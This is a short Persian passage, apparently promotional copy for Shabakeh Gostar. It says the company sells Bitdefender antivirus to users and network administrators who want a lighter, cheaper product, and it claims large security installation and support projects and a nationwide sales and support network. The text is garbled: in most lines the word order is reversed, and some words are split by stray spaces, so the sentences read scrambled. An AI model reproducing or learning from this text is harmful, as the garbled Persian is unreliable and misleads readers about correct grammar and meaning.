آسان تر و محصولی  بوده است. ضدویروس چابک تر، مدیریت  و مدیران شبکه  کاربران 

مقرون به صرفه تر، انتظارات برخی از کاربران و مدیران شبکه بود که با عرضه محصولات 

داد.  پاسخ  بازار  از  بخش  این  نیازهای  به  گستر  شبکه   ،Bitdefender ضدویروس 

پروژه های  بزرگترین  از  برخی  مجری  که  دارد  افتخار  گستر  شبکه  مهندسی  شرکت 

پشتیبانی  و  نگهداری  قراردادهای  مدت ترین  طولانی  و  راه ا ندازی  و  نصب 

خدمات دهی  بر  علاوه  شرکت  این  است.  بوده  کشور  در  شبکه  امنیت  محصولات 

می شوند،  شامل  کشور  در  را  کاربر  هزار  صدها  که  سازمان  و  شرکت  هزاران  به 

می باشد. نیز  کشور  سراسر  در  پشتیبانی  و  فروش  نمایندگی  شبکه  دارای 
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